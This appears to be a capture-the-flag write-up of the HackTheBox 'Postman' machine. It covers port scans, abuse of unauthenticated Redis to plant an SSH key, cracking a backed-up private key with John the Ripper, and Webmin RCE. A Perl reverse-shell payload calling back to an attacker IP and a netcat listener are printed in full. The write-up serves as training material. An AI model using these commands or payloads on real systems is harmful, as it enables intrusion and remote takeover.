┌─[user@parrot]─[~/data/Postman] └──╼ $sudo nmap -sC -sV -Pn -sS postman.htb -oN scans/nmap_main Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 22:23 UTC Nmap scan report for postman.htb (10.10.10.160) Host is up (0.045s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: The Cyber Geek's Personal Website 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 43.08 seconds
There are basically two HTTP services and a SSH one. The service listening on the port 80 shows a static HTML portfolio page containing useless info about the author and nothing interesting inside its code:
The service listening on the 10000 port shows instead a redirecting page (no juicy information inside HTML again) that suggests to retry the connection via HTTPS on the same port:
Connecting via HTTPS on port 10000 a Webmin login page is shown:
Technical Details
Let’s focus on what Webmin is, just to have a complete point of view:
Webmin is a web-based system configuration tool for Unix-like systems, although recent versions can also be installed and run on Windows.[5] With it, it is possible to configure operating system internals, such as users, disk quotas, services or configuration files, as well as modify and control open-source apps, such as the Apache HTTP Server, PHP or MySQL
A very important thing to remember is that Webmin is often executed as root since it needs to access low-level information!
Enumeration (#1)
Running dirb on the HTTP service on 80 gives nothing interesting and no hidden pages, while the execution on the Webmin service reveals some CGI pages protected by the platform’s authentication mechanism:
At this point I realise that the Webmin version identified by the services scan has got a well-known vulnerability that leads to a RCE (MSF exploit), but valid credentials are necessary to exploit it and we don’t have any. I start thinking about the existence of a weak password over Webmin and I try to execute hydra to guess the admin‘s credentials, but the service stops me after 5/6 attempts:
It’s clear that something is missing and I try to return to the Scan step because I’ve probably missed some listening service.
Scan (#2)
I re-run nmap including the higher ports too and a new Redis 4.0.9 service pops up on port 6379:
┌─[user@parrot]─[/media/user/data/Postman/scans] └──╼ $cat nmap_complete # Nmap 7.80 scan initiated Sun Feb 9 11:26:59 2020 as: nmap -sC -sV -Pn -sS -p- -oN nmap_complete postman.htb Nmap scan report for postman.htb (10.10.10.160) Host is up (0.034s latency). Scanned at 2020-02-09 11:26:59 UTC for 16952s Not shown: 65489 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI= | 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-favicon: Unknown favicon MD5: 91549383E709F4F1DD6C8DAB07890301 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Feb 9 16:09:31 2020 -- 1 IP address (1 host up) scanned in 16952.44 seconds
In addition, Redis is not authenticated as it is easily possible to verify via telnet:
1 2 3 4 5 6 7 8 9 10 11
┌─[user@parrot]─[/media/user/data/Postman] └──╼ $telnet postman.htb 6379 Trying 10.10.10.160... Connected to postman.htb. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.
Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker. It supports data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes with radius queries and streams.
It’s important to note that Redis is designed to be accessed by trusted clients inside trusted environments as you can read from its official security page:
Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket.
For instance, in the common context of a web application implemented using Redis as a database, cache, or messaging system, the clients inside the front-end (web side) of the application will query Redis to generate pages or to perform operations requested or triggered by the web application user.
In this case, the web application mediates access between Redis and untrusted clients (the user browsers accessing the web application). This is a specific example, but, in general, untrusted access to Redis should always be mediated by a layer implementing ACLs, validating user input, and deciding what operations to perform against the Redis instance.
In general, Redis is not optimized for maximum security but for maximum performance and simplicity.
Enumeration (#2)
First of all, the Redis dataset doesn’t contain any useful information, in fact it is completely empty:
1 2 3 4 5 6 7 8
┌─[user@parrot]─[~/postman/scans] └──╼ $redis-cli -h postman.htb -p 6379 postman.htb:6379> INFO keyspace # Keyspace postman.htb:6379> KEYS "*" (empty list or set) (0.51s) postman.htb:6379>
Looking around on the web I find a paper that describes a technique that leads Redis 4.X to fall into RCE via master/slave synchronization mechanism, but it’s not viable because its necessity to use the module command that is unavailable on the target system (execute the module command via redis-cli to verify it). Researching more info about Redis exploitation, I find a way to force it to write anywhere inside the filesystem it is allow to[1][2]. I only need to know a valid path inside of which the user that executes the process has write permissions. Installing Redis 4 on my Debian distribution I notice that a new redis user is created and its home path is /var/lib/redis. Wait, what if that user is accessible via SSH and public/private key authentication is allowed????
Well, now I have a potential attack plan: to write my public key inside remote redis user authorized_keys file and to use SSH to access the machine!
Technical Details
In short, this last attack method exploits the Redis feature to export the entire in-memory dataset to the disk through the save command. Since the SSH server tries to read a valid public key inside the authorized_keys file and skips every invalid string, it is possible to add some padding to divide our public key from the data structure characters in order to gain access via SSH.
Exploitation
In the first place, I create both private and public key via ssh-keygen and then I modify the public one adding a bit of padding using newline characters:
┌─[✗]─[user@parrot]─[~/postman] └──╼ $ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/user/.ssh/id_rsa): /home/user/postman/files/id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/user/postman/files/id_rsa. Your public key has been saved in /home/user/postman/files/id_rsa.pub. The key fingerprint is: SHA256:0nKMTatpfvPfGQe3uGlWBP0p96uGMXGIsl+3H33RfYU user@parrot The key's randomart image is: +---[RSA 3072]----+ | . | | . o | | . . . E +| | B o o o +=| | + S o =.*| | B + ..+*| | + . . =.+o=| | o o. . *o=o| | .. o..=+=. | +----[SHA256]-----+
It’s now time to overwrite the authorized_keys file and see if the service gives us the OK response:
1 2 3 4 5 6 7 8 9 10 11 12
┌─[user@parrot]─[~/postman/files] └──╼ $cat id_rsa_new.pub | redis-cli -h postman.htb -p 6379 -x set crackid_az OK ┌─[user@parrot]─[~/postman/files] └──╼ $redis-cli -h postman.htb -p 6379 postman.htb:6379> CONFIG GET dir 1) "dir" 2) "/var/lib/redis/.ssh" postman.htb:6379> CONFIG SET dbfilename authorized_keys OK postman.htb:6379> save OK
Great, it works! Unfortunately there is no user.txt inside the /var/lib/redis directory, so I probably need to laterally move to another linux account. Having a look at the /etc/passwd file I find an interesting Matt user, so it could be a viable target for doing so.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
┌─[✗]─[user@parrot]─[~/postman/files] └──╼ $ssh -i id_rsa redis@postman.htb Enter passphrase for key 'id_rsa': Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
* Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Feb 25 15:25:48 2020 from 10.10.16.14 redis@Postman:~$ id uid=107(redis) gid=114(redis) groups=114(redis)
Let me see if there are any readable backup files around the system (thanks @Pentesterlab for giving me a good recognition methodology):
redis@Postman:/$ ls -al /opt/id_rsa.bak -rwxr-xr-x 1 Matt Matt 1743 Aug 26 2019 /opt/id_rsa.bak
The /opt/id_rsa.bak file is probably the Matt’s SSH private key, since he’s the file owner: good catch! Now I only need to use the ssh2john tool to convert it in a format that JohnTheRipper can interpret and try to crack it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌─[user@parrot]─[~/postman/files] └──╼ $/usr/share/john/ssh2john.py priv_key.bak > priv_key_john.bak ┌─[user@parrot]─[~/postman/files] └──╼ $john priv_key_john.bak -wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (priv_key.bak) Warning: Only 2 candidates left, minimum 4 needed for performance. 1g 0:00:00:10 DONE (2020-02-25 18:07) 0.09293g/s 1332Kp/s 1332Kc/s 1332KC/sa6_123..*7¡Vamos! Session completed
The derived password is computer2008 but with that I’m not able to log into SSH Matt’s account probably because the server configuration doesn’t allow this user to login from the outside. I manage to switch the current user anyway using su since Matt uses the public key passphrase as local password. Now I can read the file I was looking for:
1 2 3 4
Matt@Postman:~$ ls user.txt Matt@Postman:~$ cat user.txt 517ad0********************8a2f3c
Privilege Escalation
Enumerating the files the Matt has access to I don’t notice anything useful despite of that the Webmin server (miniserv.pl) is executed directly by root:
It is clear that attacking this web service exploiting the vulnerability I found previously is a good way to privilege escalate! In order to do so, I need valid user credentials so springs to mind to test if the password I just found and the username Matt let us to login, and they actually do:
I should now run the exploit found previously, but since I don’t really want to use MSF I’ll write my own exploit (I created a gist containing the source code without any context data) from scratch using python and this repository that shows which requests lead the vulnerability to RCE:
from requests import post from urllib import quote from base64 import b64encode from requests.packages.urllib3 import disable_warnings from urllib3.exceptions import InsecureRequestWarning
print'Attacking using this payload: {}'.format(PAYLOAD) deliver_payload(session_cookie)
print'Attack completed :)'
Here we are: I just need to spawn a reverse shell using netcat and running my exploit against Postman host to have the ability to read the flag inside the root.txt file:
Connecting to https://10.10.10.160:10000/ Cookies forged: b624511e88809aab1a80ccfa2d1da8e3 Attacking using this payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.10.14.188:2256");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' ^CAttack completed :)
1 2 3 4 5 6 7 8 9
└──╼ $nc -vlp 2256 listening on [any] 2256 ... connect to [10.10.14.188] from postman.htb [10.10.10.160] 38716 python -c 'import pty; pty.spawn("/bin/bash")' root@Postman:/usr/share/webmin/package-updates/# cd cd root@Postman:~# cat root.txt cat root.txt a25774********************86ddce
Final Notes
It was my specific purpose to highlight the entire pentesting process, passing from a scan phase to an enumeration one and going back if necessary. In fact, It’s really important to have a strict methodology to apply during assessments in order not to miss any important element of the attack surface. In addition, I think it’s also fundamental to focus on the narration attack more than the final result itself. For this reason, I created additional sections inside this write-up to show the way I thought.